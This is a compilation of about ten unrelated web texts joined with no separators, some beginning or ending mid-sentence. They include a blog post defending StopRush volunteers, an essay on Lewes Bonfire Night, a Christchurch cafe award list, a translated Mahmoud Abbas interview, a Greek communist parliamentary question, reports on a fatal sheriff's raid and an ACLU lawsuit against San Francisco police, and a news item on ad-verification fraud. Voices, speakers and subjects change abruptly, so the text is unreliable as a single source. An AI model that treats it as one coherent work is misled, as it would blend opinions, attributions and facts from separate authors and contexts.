No one is saying Limbaugh should be silenced. But that is precisely what Glicklich believes should happen to StopRush volunteers.
Debunking some lies
It stands to reason that Rush and Glicklich would lie about the StopRush effort, which they did.
Here are some facts:
StopRush was and is a grassroots, organic effort which began to combat Rush Limbaugh's hateful attitude toward Sandra Fluke specifically and women in general. I was there at the beginning. I know exactly who did what. They want to give all the credit to Angelo Carusone over at Media Matters, but I'm not inclined to permit that, given that Angelo did virtually nothing with regard to organizing volunteers and getting the movement going. He reserved a Twitter name and that's more or less all he did.
StopRush is not "staffed." Everyone who participates does so as a volunteer. No one is paid, no one makes any money, and there are no "hard core political operatives leading" it. They are ordinary people who want to make a meaningful difference.
It is not harassment to contact sponsors by phone or online and ask them if they're comfortable sponsoring Limbaugh's brand of hate.
StopRush volunteers have been subjected to threats and continue to be subjected to them. One of the reasons they used pseudonyms was to avoid the kind of harassment the early volunteers received. Minimizing those threats is characteristic of the Limbaugh trademark. It falls into the same category of him thinking women are actually saying yes when they say no.
StopRush volunteers are not bots unleashed on sponsors. They're real people. It seems that Rush Limbaugh cannot fathom why a large swath of people would object to his hate talk. That's his failing, not ours.
And now, I just have to quote this one single ridiculous paragraph filled with lies:
In summary, #StopRush is an organized effort by Media Matters for America to widely and indiscriminately distribute lists of targets, and harass and bully them, under cover of anonymity. It is not grassroots, but deployed by extremist activists using deception and automated software to appear bigger and more prevalent than they are.
Oh, don't we just wish Media Matters had been underneath us. We might have had some kind of safety net when we were infiltrated by a right wing con artist with a bent for violence and lunacy, when our email addresses were distributed, when our personal information was posted on SquareSpace websites by anonymous people, when there were anonymous telephone calls on our home phones, and more. But we didn't, and they weren't, nor are they now.
There are actually over 100 separate actions by different groups with many still in process. Some were grassroots, others were petitions created by MoveOn, CREDO, DCCC, DSCC and other organizations.
The StopRush effort is not a top-down endeavor. It is a bottom-up example of organizing around a principle at its very best, on and offline.
It's effective, too. That's why Glicklich is indulging in the politics of personal destruction. If he can't stop them, he'll destroy them. In at least one instance, he's doing his best to see to it that one volunteer loses her job. I'm sure he would count that as victory even as his minions shout that the StopRush effort is run by a bunch of liberal moochers who don't work.
Unfortunately, success isn't much comfort to the people Rush Limbaugh just doxed. He just invited a nation of crazies to rain hell on 10 ordinary people who go to work, come home, and spend some time online fighting for something they believe in.
Who is the tyrant here, again?
It won't work. If anything, it will make these people even more determined to continue their efforts. Limbaugh can use his bully pulpit to whine about how victimized he is, but it's not going to fly with anyone who has more than a brain cell. And if one hair is harmed on the people's heads he and Glicklich doxed, he will be personally responsible. Personally. Responsible.
Maybe that will appeal to his conservative nature.
*WorldNetDaily helpfully published the names and locations of the StopRush volunteers, too.
[Photo Credit: DonkeyHotey]There’s a picture that quite a lot of British schoolchildren still get shown in our history lessons. It shows two signatures of Guy Fawkes, one of the Catholic conspirators who in 1605 plotted to blow up parliament, before and after he was tortured into a confession.
Fawkes’ script is looping, cursive, neat. The letters are still sharp after hundreds of years: a name that had not yet become infamous. The second signature, if it can be called that, is different. It was scrawled in a shaking hand by someone who could no longer write his own name, either because he had gone past the point of pain where such things matter, or because he could no longer hold a pen, or both.
When I first saw this in primary school, it was presented without moral judgement. Torture is obviously bad, but it was all a very long time ago, and besides, he tried to blow up the king. Let’s make a dead man out of paper and burn him in his clothes for the kids to watch. Let’s all sing the nursery rhyme about what happens when you plot against power. It’s traditional.
Britain has a lot of history, and the bits we choose to remember, remember, and the bits we choose to forget, forget, and the bits we choose to dress up in pretty lights and march through the town, say a lot about who we are after so many hundreds of years.
We have a lot of history to choose from. It’s no accident that the current Conservative government, alongside decimating the welfare state, cracking down on dissent and instituting reforms which have plunged millions into poverty, is pushing a new History syllabus that will teach British children about the importance of Empire and the glory of war. Michael Gove loves Niall Ferguson and hates Blackadder.
Like most little girls, what I really loved when I was six or seven was watching things burn. Lucky for me, I spent part of my childhood in Lewes, a small, genteel Sussex town which happens to host Europe’s most enormous bonfire celebrations. November the 5th is like Christmas in Lewes, except with more arson, sectarianism and explosions. Tens of thousands of people descend on the town, and the crush is so huge and dangerous that that the council has had to ask non-locals not to attend. There are six competing bonfire societies, each with their own giant, dangerous fire parade, their own costumes, and their own songs, and there are so many fireworks and bangers and rolling tar barrels that your ears ring for days and the night sky glows sodium orange.
Oh, and we burn an effigy of the pope, because it’s traditional. And march through the town with massive flaming crosses, because it’s traditional. And there are a lot of people in blackface, because it’s traditional. And often we burn political leaders, because that’s traditional too. Especially leaders we don’t like. A few years ago, Lewes burned an effigy of German Chancellor Angela Merkel making a Nazi salute. The town has also burned Blair, Brown, Cameron and Thatcher, with various degrees of outcry.
Today, people in Scotland are upset because the town of Lewes is burning Alex Salmond, the former SNP leader who was the face of the most recent, narrowly defeated Scottish Independence. People are really angry about this today. It’s trending on Twitter. This makes me weirdly homesick for the parochial racist revisionist history of my own country, as opposed to the parochial racist revisionist history of the United States, which is similar, with more pumpkin pie.
I grew up in Lewes. I know this town. The Bonfire Parade has always been exactly this problematic. The surprising thing is that people are only just noticing.
To be clear, I bloody love Bonfire Night. Always did. Always will. I love bonfires so huge and hot and primeval they make the skin on face go tight when you get too close. I love mulled wine and apple-bobbing and the sharp thrill of being half- drunk and cosy in the cold with your friends. I love watching a town full of well-behaved, latte-drinking Liberal Democrat voters get blasted and howl like pagans at the sky. I love the crick in my neck and the dots on my vision from too long watching fireworks. I love the tiny scar on my shin from when a bit of a french firecracker got up my trouser leg ten years ago when I stood too close to the burning barrels. I love the smell of phosphorus and flaming tar.
I love it so much that it took me years to notice and admit to myself how fucked up it was that Lewes Bonfire Night also involves blackface, because it’s traditional, co-ordinated chanting about killing catholics, because it’s traditional, burning crosses, because they’re traditional and, on one occasion, a massive flaming effigy of the first Black president of the United States, because, because….
Just because things are horribly problematic doesn’t mean they’re not fun, or meaningful, or loaded with personal significance unrelated to all the awful stuff*. And just because things are fun and meaningful and significant doesn’t mean the awful stuff isn’t there.
Lewes’ most famous son was the radical writer Thomas Paine, who wrote that “A long habit of not thinking a thing wrong gives it a superficial appearance of being right.” You’ve got to wonder whether Tom Paine would have approved of that of Alex Salmond. I hear he was quite a fan of tolerance and independence.**
Winter festivals are older than the stories that accrete around them like unwanted gifts from embarrassing relatives. You get together, you greet old friends, you celebrate surviving another year, you remember the people you’re missing, you stuff yourself with delicious food and set things on fire. The stories change, in time. Old, violent stories are replaced by new ones which are still, at root, about power. We can remember, or we can forget, or we can half-remember, and dress our children up like pilgrims and zulus, and redraw history in simple shapes that can’t describe pain and fear and betrayal.
Or we can confront our history like fucking grown-ups. In America, Seattle recently renamed Columbus Day ‘Indigenous People’s Day’. Just because the past is dark and full of terrors that force their fingers into the present doesn’t mean Americans shouldn’t have a day off work. God knows they get few enough of those.
Tradition is a great excuse for a party and a shitty excuse for ritualised racism. Tradition is a great reason to get drunk with your cousins and make bad decisions with roman candles and a shitty reason to defend xenophobic, sectarian, bigoted local customs and update them for the 21st century by reminding kids what still happens when you don’t doff your cap to the monarchy.
And history? History is what we make it.
Remember, remember.
*For more on this, have a listen to Tim Minchin singing about Christmas. Tissues at the ready. You have been warned.
**I hear he also beat his wife. History is never the simple story you want it to be.Ross, Mondor, Waxman and Zasloff, and countless more like them, live in abject fear that Republicans will follow through on their determination to repeal the Affordable Care Act, without passing a replacement that will maintain the crucial protections the law has given them. Obamacare's critics have painted a picture of the law that is wholly negative: that it's a "disaster," that it's in a "death spiral," that it's caused a "struggle" for families that use it. To people not directly affected by the Affordable Care Act — the 85% of Americans who get their coverage from their employers or public programs such as Medicare — these assertions seem plausible enough, especially since they've been repeated incessantly for more than six years. Repeat a big lie often and loudly enough, and you don't need evidence.Hulga's negative characterization comes from her nihilistic approach to life. To those around her, the expression on her face is one of "constant outrage" and she appears blind "by an act of will" (182). She is an atheist and refuses to allow her mother to keep a Bible in the family parlor. She has no qualms about being blatantly rude to Mrs. Freeman-if she believes in nothing, she has no reason to be polite. In reference to a shallow, cheery remark from her mother she screams, "We are not our own light!" (184). In other words, she believes there is no purpose in life. In one of her books, she has underlined in blue pencil ". the strictly scientific approach to Nothing.. [is] wishing to know nothing of Nothing." (184). This statement is from Nietzsche, a philosopher who argued that atheism is an intellectual triumph over Christianity. Like Nietzsche, Hulga believes that "we are all damned" but those who "have taken off our blindfolds" see "that there's nothing to see" and gain "a kind of salvation" (191). She arrogantly tells Manley, "I don't have illusions. I'm one of those people who see through to nothing" (191). Surprisingly, |
regular.
Setting aside decor, coffee and service, all of which is excellent, Dose has a killer menu. Who wouldn't want to order the French toast? Think raspberry and mascarpone, vanilla custard and streaky bacon. Trust us, it works. If you're going savoury, the pulled pork bagel is a must.
Co-owner Andy Shiau says the focus at Dose is on relaxed comfort for customers while ensuring everything they offer is top of the line.
Even though it's in a business park on Blenheim Rd, you wouldn't know it sitting inside having breakfast. Shiau says they were initially nervous about the location but in the last two years the business has evolved with its locals and weekend visitors and is booming.
There's an Asian influence in the menu with a balance of classics to cater to everyone.
"It's a little bit of trend, a little bit of who we are," he says.
This one's not to be missed.
FINALISTS
- Laneway Espresso - 329 Durham St North
They're kind of a new kid on the block but bring urban chic to the city's cafe scene. The ply-on-white decor is soothing and mellow and the coffee top notch. Throwing open the bifold doors on a warm day, the whole space is bathed in sun. A simple breakfast/brunch menu covers all the bases and if you're wanting a treat with your morning caffeine hit, look no further than the lemon meringue pie.
- Switch Espresso - Carnaby Lane, New Brighton
Switch has taken huge leaps since its interior upgrade and expansion. A clear little sister to Black Betty in the city, Switch has a vintage vibe with plenty of retro and a killer cabinet selection. Brunch is where Switch excels, turning out crispy bacon, just-so eggs and excellent coffee every time. At the weekends, you'll find Switch flooded with families, couples and the beachside cool set. Gorgeous in summer with that unbeatable sea breeze.
- Caffeine Laboratory - New Regent St
Since it opened, the flagship Caffeine Laboratory has been upcycling itself every now and then as it morphs to its market and finds those sweet spots their customers crave. This latest iteration sees Caffeine Lab really reaching its potential with great staff, a contemporary and creative set of menus and some of the best coffee in town. Here you'll find the best porridge in Christchurch and baristas who really know their stuff. Order some chips – you won't regret it.
- Town Tonic - 335 Lincoln Rd
Health nut? Covered. After indulgence? Done. Town Tonic does both as a cafe during the day. Start your morning with banana bread and bacon icecream (amazing) and polish it off with a custom made fresh press juice. The menu changes constantly but this is what we love about TT – fresh produce and a market focus. It's chic, on trend and delivers on top cafe quality with a creative edge.
- Black and White Coffee Cartel - 83 Victoria St
Simplicity rules at Black and White where there's always lounge space on the lawn and the cabinet is stocked with wee Cakes By Anna. These guys have an intense coffee focus and it's clear in what they put in the cup. Coffee here is such a treat. With little to no kitchen space, they've gathered a careful selection of local start-up suppliers to put together a slick little menu and cabinet. Black and White prove you just need to do what you do well, and the people will come.
- Supreme Supreme - 10 Welles St
Cool, calm and collected. Did we mention cool? Supreme Supreme has cool in spades and delivers on the hype with a fantastic breakfast menu and a counter chocka block with baking. The smoothies here are well worth ordering and the various breakfast bowl options tick the luxury health nut boxes. They also do the best scrambled eggs in town. Order with a couple of flat whites and a newspaper.
- Hello Sunday, 6 Elgin St
Here we have heritage charm and vintage-inspired chic combined. A cute wee cafe in a cute wee wooden building with a deceptively large covered and uncovered courtyard combo snuggled into the back garden. Head here if you're after art on a plate for your breakfast as Hello Sunday takes brunch to the next level with plenty of creative flair and exciting flavour combos. Red velvet pancakes anyone?
- Black Betty, 165 Madras St
Black Betty is that well worn pair of slippers you just can't do without. This cafe has been a champion in Christchurch since it opened and the bigger brighter space post-reno makes it even better still. It's the place you go to when you can't face a coffee fail or you need that comforting plate of crumpets on a Sunday morning. Go on, get a second coffee.
- Mitchelli's Cafe Rinato, The Tannery
If there's one thing setting Mitchelli's apart it's the service. From the moment you walk in the door to when you scrape back your chair to leave, the staff are awesome. Often one of the Mitchell family is behind the counter, ensuring the whole place has that welcoming vibe. The food would be described as comfort. We're talking beans on toast, Mama Mitchelli's Muesli and pasta lunches. This is proper hospitality.On June 18, 2015, the Egyptian daily Roz Al-Youssef published an interview with Palestinian Authority (PA) President Mahmoud 'Abbas, in which he explained that in the absence of a political solution, the PA is currently operating on two levels - appealing to the International Criminal Court (ICC), and reexamining existing agreements with Israel. Accusing Hamas of not living up to its agreements with the PA and of disrupting attempts to establish a unity government, rebuild Gaza, and set a date for elections in the PA, he said that it is also responsible for last summer's Israel-Gaza war lasting as long as it did, and for the resulting heavy Palestinian toll in life and property.
Claiming that Hamas is conducting security coordination with Israel, 'Abbas said that it is also in direct talks with Israel to establish a state in Gaza, and that the preparations for these talks were made during the era of deposed Egyptian president Muhammad Mursi. He added that he has no intention of calling for elections now because it would lead to the West Bank being severed from the Gaza Strip.
The following are excerpts from 'Abbas's interview:[1]
Since Negotiations Have Yielded Nothing, We Pursue Two Other Options: Reexamining Agreements With Israel, Appealing To The ICC
Q: "What is happening with the appeal to the International Criminal Court?"
A: "After becoming an observer member [i.e. non-member observer state] of the U.N., we were able to join 522 international organizations. We always used to tell the Israelis and the Americans, with full honesty, that we would eventually apply [for membership in] international organizations. They said to us, 'Be patient, [wait] a little longer,' and we replied, 'How much longer? We are willing to wait a week, two weeks, three weeks, or even a month for some kind of response, but we flatly refuse to wait any longer than that.'
"On April 1, 2014, the deadline for the negotiations between us and the Israelis, which ended without any results [after Israeli Prime Minister] Netanyahu refused to release [Palestinian] prisoners [incarcerated since] before 1993 as we had agreed - [on that day] we said to them, for the first time, that the next day we planned to sign [applications to join] several international organizations and treaties, and we did. We signed [applications to join] 20 organizations, and persisted on our path. The second time was on December 30, 2014, when we said to the Americans: 'You did not succeed in obtaining justice for us, and the negotiations failed, so we will appeal to the [UN] Security Council. [The Americans] spared no effort in thwarting our Security Council bid, and we obtained [only] eight votes, after they succeeded in [getting] Nigeria to change its vote at the last moment and vote [against] us in the Security Council. [But] we did not give up, and the next day, December 31, I consulted with the central [PLO and PA] leadership, and we decided to appeal to the International Criminal Court [ICC]."
Q: "How did you prepare for this?"
A: "It requires a great effort on our part... The ICC is supposed to investigate two issues for us: first, the attacks on the Gaza Strip, especially the recent ones [i.e. in the summer of 2014], and, second, the issue of the settlements. We have begun to prepare these two issues. We are currently in the final phase on two matters, namely the ICC appeal, and [the matter of] reexamining all the agreements [that we signed] with the Israeli side, because they have violated all the agreements signed since the Oslo Accords. We are ready to submit our ICC appeal at any moment. Our foreign minister is conducting visits there to arrange the matter, and we have no problem. At one point, the Israelis said to us, 'Do not appeal to the ICC during our [Knesset] elections.' Then they said, 'Don't do it while we are still forming a new government'..."
Q: "So what will happen after the political solution [is shelved], with no other [solution in sight]?"
A: "It is true that at the moment, there is no political solution, but we are working on other issues, as I said before, namely the ICC [appeal] and the reexamination of our agreements with the Israeli side, such as the Paris Agreement, which discriminates against us.[Despite the agreement,] the Israelis are delaying, withholding and looting the funds of the [Palestinian] Authority. In the past, they postponed [handing over the funds] for four months, and I said to them, 'Do as you wish, we will not change our minds.' After they did it again, [and even] deducted[some of it, I said that,] despite our diplomatic flexibility and our moderateness, we are adamant about our fundamental cause - namely the cause of the Palestinian people and all matters pertaining to it, as approved in 1988 when [we] declared independenceand took political resolutions to which I remain committed, as long as the [Palestinian] National Council has not changed them..."
If It Weren't For Hamas' Stubbornness During The 2014 Gaza War, Over 2,000 Palestinian Lives Could Have Been Saved
Q: "According to some reports, former U.S. president Jimmy Carter intervened [in an attempt] to get you to sign a 'Mecca II agreement,' similar to the Mecca I agreement [between the PA and Hamas].[2] What is your position [on that], and what is happening with the Palestinian reconciliation process?"
A: "Let's start by going back. On April 1, 2014, I dispatched a delegation to Gaza to reach a reconciliation agreement or to refresh the agreements signed in Doha and later in Cairo[with Hamas], and to assess the extent of Hamas' commitment to what had been agreed upon by all [sides]. They said that they agreed to [arrive at] reconciliation by forming a national accord government of independent technocrats and, later, holding elections. We started to form this government, in agreement with [Hamas]... They submitted [candidates'] names, but they were names [of figures] associated with [Hamas, rather than independents]. We told them to submit names of independent figures, as we had agreed [regarding] the makeup of the government.
"On June 2, 2014, we formed a government, and on June 12, they [Hamas] kidnapped three Israelis. I asked them, 'Did you do this?' and they said, 'No, we knew nothing [about it],' or, as [Hamas political bureau head Khaled] Mash'al was quoted as saying, 'I know nothing at all.' Netanyahu called me every day, saying, 'Hamas did this,' and I kept telling him, 'According to what Mash'al tells me, it wasn't them.' Then suddenly a Hamas member in Istanbul, Salah Al-'Arouri, shows up and says at a press conference, 'We kidnapped the three Israelis and killed them to set off a new intifada in the West Bank and Gaza and among the 1948 Arabs.'
"I said to Khaled Mash'al, 'How could this happen?' He had sworn by Allah that he knew nothing. I said to him, 'The one who said this at the press conference is a member of your political bureau, the [Hamas] movement's political bureau.' Then everything went awry and we entered a war [with Israel] in the Gaza Strip."
Q: "Did you intervene [in an attempt] to stop this war?"
A: "What could I do? I called [Egyptian] President ['Abd Al-Fattah] Al-Sisi and said to him: 'We ask you to submit an initiative to stop this war,' and he said to me, 'What do you mean?' I said, 'There's no choice but for the initiative to come from you, because your [country] borders [Gaza], so it's a matter of [Egyptian] national security, and you are Egypt, [i.e. a respectable country]. He replied, 'I'll propose an initiative for your sake and for the sake of the Palestinian people.'
"But Hamas rejected the initiative, and continued the war while escalating its demands. When the [Egyptian] initiative was first brought up, we had [only] 50 martyrs. During the war, I went to Egypt twice, and to Turkey and Qatar... but to no avail. Fifty days into the war, we had 2,200 martyrs, tens of thousands of wounded, and 80,000homes that had sustained some degree of damage, yet Hamas continued to reiterate, 'We will not agree [to a hudna] unless [they let us] build a seaport and an airport.' [I said to them], 'What I care about is saving lives, because to me, saving a single child is more important than the seaport and airport you are demanding.' But they did not listen and did not heed these calls.
"It is also very important to note that 93 families were completely wiped off the civil registry, because each and every one of their members was killed in this war into which Hamas dragged us - grandfather, grandmother, father, mother, children and grandchildren, all of them killed! And who is responsible for this? On the 50th day of the war, Fatah commander 'Azzam Al-Ahmad sent me a note saying, 'I ask you to declare an unconditional ceasefire, for who will be responsible for the blood spilled?' I declared a ceasefire out of a desire to prevent further killing and an even higher [death] toll.
"We set out for Cairo, to the Gaza Restoration Conference. [Gaza was to be rebuilt]with the help of the donor countriesthat had approved $5 billion [in aid]provided that this aid would be transferred [to Gaza]via the PA and not via Hamas. UN representative Robert Serry and [Hamas senior official] Moussa Abu Marzouq agreed that the PA would be on the border, receive the food, and deliver it to the UN, and that they would carry out the mission of [re]construction [in Gaza]. That is what we agreed, but a week later, this agreement was halted, and they [i.e. Hamas] did not even permit the implementation of the first section [of the agreement] thatHamas had agreed with the UN...
"I said that there was no choice but to hold elections within six months, as had been decided, but Hamas strong-armed this section [of the agreement] as well, and had no intention to hold [elections] or to [establish] a government. Hamas controls the Gaza Strip, there are no elections, and the [donor]countries will not transfer funds - the situation is stagnating. Enter [Jimmy] Carter."
Q: "What did he tell you?"
A: "He told me that he had been to Saudi Arabia and met with King Salman [regarding a] 'Mecca II' [agreement] and that the Saudi king had said to him: 'If both sides agree, we will welcome it.' Carter presented this to me, and I explained that King Salman had said 'if both sides agree.' [I] stressed that in no way would I ask for a 'Mecca II,' saying: 'We've had enough of Mecca II and III and Geneva III and IV. What use have we for all these? We have a signed agreement [with Hamas] that we must strive to carry out, namely the Cairo reconciliation agreement.' Carter responded: 'What do you want?' I said: 'I want a document from Khaled Mash'al or Isma'il Haniya that approves [PA] elections within three to four months from today.' And he [Carter] left and did not return..."
Hamas Robs The People Of Gaza In The Guise Of Collecting Taxes, Refuses To Hold Elections
Q: "In that case, Hamas has begun to lose its allies, as Syria did. So who is funding it now?"
A: "Iran and Turkey are among Hamas's allies, and it is also funded by several Arab and Islamic countries and by the heavy taxes [it collects]... the latest of which is the'mutual assurance tax.'We [all] know that half of the PA's budget goes to the Gaza Strip, to the education, healthcare, electrical, and water sectors, and that each month [these sums] are deducted from [our budget]for the sake of the Gaza Strip [Despite this], Hamas imposes taxes [on the Gaza residents]. In other words, it robs [them] in the guise of [collecting] taxes, and says to them: pay [the taxes] or get out [of Gaza]. I say to you that, had Hamas had opened the [border] crossing, no one would have remained in Gaza, and proof of this is that the crossing was opened after the [Israel-Gaza] war and thousands of people paid thousands [of dollars] to leave the Gaza Strip and died on the open sea."[3]
Q: "In light of this stagnation on the issue of reconciliation, do you intend to issue a statement regarding the date of elections?"
A: "I cannot declare elections, because it would mean severing the Gaza Strip from the West Bank. I do not want that. I only want a whole homeland that includes Gaza, the West Bank, and East Jerusalem. I know that they [Hamas]have hijacked the Gaza Strip, but I will not declare elections that divide the state of Palestine and will never claim responsibility for it."
Q: "Is ISIS present in Gaza?"
A: "The Gaza Strip has many varieties [of groups] because the door there is open to Salafis, jihadis, [and] the Muslim Brotherhood, and to others. I do not know whether ISIS is there or not, but we mustn't discount the possibility - that is, there is nothing preventing ISIS from being in the Gaza Strip..."
Hamas Is Conducting Security Coordination, Direct Talks With Israel
Q: "Hamas repeatedly states that it does not recognize the Jewish state and that it does not coordinate with it; it even accuses those who have ties with it of treason. However, some statements affirm ties between Hamas and the occupation. How do you explain this?"
A: "Of course there is security coordination on the border between Hamas and the Israeli occupation. There is a stretch of 50-60 meters beyond the border that acts as a route along which both sides move freely, in accordance with the agreement [signed during the term of] ousted [Egyptian] president Muhammad Mursi... which included sections mentioning Israel's opposition to terrorist attacks, [and] which was approved by Hamas under the aegis of the Mursi regime. [This agreement] was not rescinded despite the war in the Gaza Strip. Now there are direct talks between Hamas and the Israelis regarding the establishment of a Gaza state [by] Hamas, the preparations for which began during the Muslim Brotherhood [i.e. Mursi] regime. Members [of the MB] said to me back then, 'We want to grant our beloved (meaning Hamas) several kilometers in the Sinai' and I told them at the time that I would never demand an inch of Egypt and stressed, 'Egyptian land for Egyptians and Palestinian land for Palestinians.'"
Egypt's Anti-Mursi Revolution Was "A Miracle By Any Standard"
Q: "What do you think Egypt would have looked like had the MB regime there remained [in power]?"
A: "...As President Al-Sisi said in his recent meeting with [German] Chancellor [Angela] Merkel - if the MB regime had continued, Egypt would have required aid flown in on planes. And I say that what happened on June 30, 2013 [the protest calling for Mursi's ouster] was a miracle by any standard.
"I went to Egypt on July 7 [2013], after the revolution, and I know the exact details. The ousted president was asked three times - even before the protests - to tone down his views, but he ignored the fermentation on the Egyptian street. Later I met with the interim president, 'Adly Mansour, and Mohammad ElBaradei, and told them my honest opinion, albeit behind closed doors. Later I stated that the Egyptian people had performed a divine miracle... 30 million people protested and I was not sure it would have a result. Then Al-Sisi emerged and was heroic and put his life on the line, since there was a possibility that he would be arrested or killed with a single word. But, Allah be praised, Allah's will was done and Egypt survived it in the best possible way, and when [Egypt] is well, we are all well. At the time, I told the late Saudi King 'Abdallah: 'What President Al-Sisi has done saved you and us' and he replied: 'True'..."
Q: "How can you explain Germany's recent attack on the death sentences [handed down for MB members]?
A: "Several U.S. states have the death penalty, as do many countries. The Egyptian legal system is honorable and 100% independent. When it rules, its decision is pure. Our legal system also has the death penalty, and the decision on [whether to hand it down] comes to me, since I am the legitimate PA president. Even though I usually do not approve it, this does not mean that I have abolished the death penalty."
Endnotes:The MPs of the KKE, Thanasis Pafilis, Liana Kanelli and Giorgos Marinos tabled a question to the Foreign Minister, N. Kotzias, in relation to his statements in Washington concerning the assistance the SYRIZA-ANEL government provides in Ukraine.
The text of the question is as follows:
“During his recent visit to the USA, the Greek Foreign Minister, N. Kotzias, after his meeting with the US Secretary of State, John Kerry, and in his statements to Greek journalists (Washington, 20.04.2015), stressed the fact that he informed his US counterpart about “the assistance we are providing to Ukraine in this period”.
This statement comes at a time when:
The Ukrainian Parliament approved a law that ahistorically equates communism with fascism and on this basis blocks the activity of communists and the dissemination of ideas.
The local fascists, the so-called Ukrainian Liberation Army, are historically vindicated by another law.
Dmitro Yaros, head of the Nazi organization “Right Sector”, has been appointed as an advisor of the Defense Ministry of Ukraine.
Murders of political opponents of today’s government are happening, as well as the disappearances of journalists, such as the journalist Sergei Dolkov, who was abducted from the offices of the newspaper he publishes, the imprisonment of political opponents, like Alexander Bondarchuk, the editor of the journal “Working Class” and long interrogations and persecutions, such as those against P. Simonenko, the First Secretary of the CC of the CP of Ukraine.
New anti-people measures are being taken in the framework of the Ukrainian government’s commitments to the IMF and EU, on the basis of anti-people memoranda.
The Minister is asked, what kind of assistance is the “leftwing” Greek government providing to the current reactionary government of Ukraine?”
29.04.2015In the early morning hours of June 27, 2013, a team of Los Angeles County Sheriff's Department deputies pulled up to the home of Eugene Mallory, an 80-year-old retired engineer living in the rural outskirts of Los Angeles county with his wife Tonya Pate and stepson Adrian Lamos.
The deputies crashed through the front gate and began executing a search warrant for methamphetamine on the property. Detective Patrick Hobbs, a self-described narcotics expert who claimed he "smelled the strong odor of chemicals" downwind from the house after being tipped off to illegal activity from an anonymous informant, spearheaded the investigation.
The deputies announced their presence, and Pate emerged from the trailer where she'd been sleeping to escape the sweltering summer heat of the California desert. Lamos and a couple of friends emerged from another trailer, and a handyman tinkering with a car on the property also gave himself up without resistance. But Mallory, who preferred to sleep in the house, was nowhere to be seen.
Deputies approached the house, and what happened next is where things get murky. The deputies said they announced their presence upon entering and were met in the hallway by the 80-year-old man, wielding a gun and stumbling towards them. The deputies later changed the story when the massive bloodstains on Mallory's mattress indicated to investigators that he'd most likely been in bed at the time of the shooting. Investigators also found that an audio recording of the incident revealed a discrepancy in the deputies' original narrative:
Before listening to the audio recording, [Sgt. John] Bones believed that he told Mallory to "Drop the gun" prior to the shooting. The recording revealed, however, that his commands to "Drop the gun" occurred immediately after the shooting.
When it was all over, Eugene Mallory died of six gunshot wounds from Sgt. John Bones' MP-5 9mm submachine gun. When a coroner arrived, he found the loaded.22 caliber pistol the two deputies claimed Mallory had pointed at them on the bedside table.
Mallory had not fired a single shot. The raid turned up no evidence of methamphetamine on the property.
To find out more about this case, including details about what the police did find, watch the above video, featuring Mallory's widow Tonya Pate. Pate has filed a wrongful death lawsuit against the Los Angeles Sheriff's Department, an agency plagued by prison abuse scandals, questionable hiring practices, and allegations of racial profiling and harassment in recent years.
The Los Angeles County Sheriff's Department declined multiple requests to comment on this story.
Approximately 7:30. Produced by Zach Weissmueller. Camera by Tracy Oppenheimer and Zach Weissmueller. Additional voice acting by Paul Detrick, Alex Manning, and Oppenheimer.
Click the link below for downloadable versions, and subscribe to Reason TV's YouTube channel for daily content like this.
View this article."Defendants’ reaction to Mr. Hall’s attempt to call his mother was unreasonable given the circumstances and likely driven by an implicit bias against Black men and stereotypes about their predilections for violent behavior," the lawsuit says.
Hall's attorney, Ajay Krishnan, said that police had no probable cause to approach the car or detain its occupants in the first place, but that the more serious constitutional violations occurred after the initial stop.
"Travis was severely beaten," he said. "These officers held his arms behind his back and kept him on the ground while they repeatedly kicked and punched him. Travis suffered from a concussion, and he had cuts and bruises all over his body."
His attorneys said Hall received medical treatment while in custody. They are not releasing any photos or other documentation of his injuries at this time.
Krishnan and ACLU Attorney Nayna Gupta said Hall was the only one of four people in the car to be assaulted or arrested that night. Two other passengers were black, according to the suit. The attorneys would not elaborate on the charges under which Hall was booked, calling them "pretextual" and "trumped-up."
The Police Department and city don't, by policy, comment on pending litigation. An SFPD spokesman confirmed, however, that Hall was arrested under suspicion of resisting arrest, public intoxication and possession of less than 1 ounce of marijuana.
He was released from custody the following day, and the district attorney's office declined to file charges against him.
"Yes, those were the charges that SFPD reported," the ACLU's Rebecca Farmer wrote in response to a KQED inquiry, "but the DA quickly dropped them, as often happens when there is a false arrest or an arrest under false pretenses."
Gupta said the ACLU hopes the lawsuit will help force policy changes around racial data collection, training and body-camera use in the SFPD.
"We want to seek justice for him," she said of Hall, "but we're also here because, yes, we think there is a problem with racially biased policing in the San Francisco Police Department and the way the Police Department interacts with communities of color."
Gupta cited a recent report commissioned by the city's Re-entry Council that found black San Franciscans are about seven times more likely to be arrested than their white counterparts. She also mentioned a long-running scandal over bigoted text messages sent to and from a former SFPD sergeant who supervised officers in the Mission District's plainclothes unit.
"I keep thinking, what if they had hit his head on the pavement one more time?" said Hall's mother, Leigh Stackpole. "What if the officer had pulled a gun? I might be one of those mothers protesting and demanding better policing, but only with a photo of my son on a poster rather than him standing next to me."
Stockpole said she and her son attempted to challenge Hall's treatment through the city's Office of Citizen Complaints, but they "got no help."
When asked to clarify if the OCC had failed to follow up on a complaint, the ACLU's Rebecca Farmer wrote, "Travis and his mom initially reached out and had some contact with the OCC, but they decided not to continue on that path."
The lawsuit was filed Wednesday in California's Northern U.S. District Court. Read it below:The ad server SpotX and ad verification company DoubleVerify have flagged a new type of fraud they’re calling “verification stripping.” DoubleVerify says the new method may be responsible for up to 10% of ad fraud spikes it identifies.
Verification stripping happens when fraudsters hinder the transmission of network calls between the ad server and measurement provider through the use of bots or malware.
That technique can stop a measurement pixel from even firing in the first place, or hide evidence of nefarious tactics like domain spoofing if a verification pixel fails to properly render.
Unfortunately, it’s unclear how pervasive this practice actually is – it’s essentially a new type of fraud and DoubleVerify is working out a solution to prevent it.
Other ad verification vendors neither confirmed nor denied awareness of verification stripping.
“All of the tactics employed by fraudsters are continuously evolving, from methods of avoiding detection or obfuscating what they’re doing to this technique of actually preventing the ad call from reaching the verification provider,” said Matt McLaughlin, COO of DoubleVerify.
DoubleVerify and SpotX discovered verification stripping when the impression counts between the ad server and verification provider didn’t match up.
"A few months ago, we started to notice a discrepancy between impressions SpotX counted internally and impressions that showed up in our DoubleVerify reporting,” said Nick Frizzell, senior director of brand safety and inventory operations for SpotX. “That’s what prompted us to notice we had some pockets of inventory where we weren’t firing DoubleVerify tags where they should have been.”
To prove that verification stripping was happening, SpotX and DoubleVerify fired an additional impression tracker – one the bad actors wouldn’t expect and therefore wouldn’t be ready to block.
Firing an additional pixel, Frizzell said, let SpotX and DoubleVerify locate exactly where the verification stripping was happening.
Mostly, it happened in video inventory, where higher CPMs made it a more attractive target, but the tactic isn’t limited to any single format, McLaughlin said.
